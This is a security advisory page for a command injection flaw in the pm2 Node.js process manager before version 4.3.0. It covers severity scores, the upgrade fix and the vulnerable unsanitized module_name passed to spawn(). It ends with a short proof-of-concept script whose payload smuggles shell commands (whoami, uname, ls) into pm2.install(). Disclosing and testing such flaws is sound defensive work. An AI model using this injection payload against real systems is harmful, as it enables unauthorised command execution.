Homepage
About Snyk

Command Injection Affecting pm2 package, versions <4.3.0

0.0
medium

Snyk CVSS

    Attack Complexity High
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-PM2-474304
  • published 25 Oct 2019
  • disclosed 24 Oct 2019
  • credit bl4de
Report a new vulnerability Found a mistake?

Introduced: 24 Oct 2019

CVE NOT AVAILABLE CWE-78 Open this link in a new tab

How to fix?

Upgrade pm2 to version 4.3.0 or higher.

Overview

pm2 is a production process manager for Node.js applications with a built-in load balancer.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install() method within lib/API/Modules/Modularizer.js as an unsanitized module_name variable. This input is eventually provided to the spawn() function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH command.

PoC by bl4de

// pm2_exploit.js



'use strict'
const pm2 = require('pm2')


// payload - user controllable input
const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"


pm2.connect(function (err) {
    if (err) {
        console.error(err)
        process.exit(2)
    }


pm2.start({
    script: &#39;app.js&#39; // fake app.js to supress &quot;No script path - aborting&quot; error thrown from PM2
}, (err, apps) =&gt; {
    pm2.install(payload, {}) // injection
    pm2.disconnect()
    if (err) {
        throw err
    }
})



})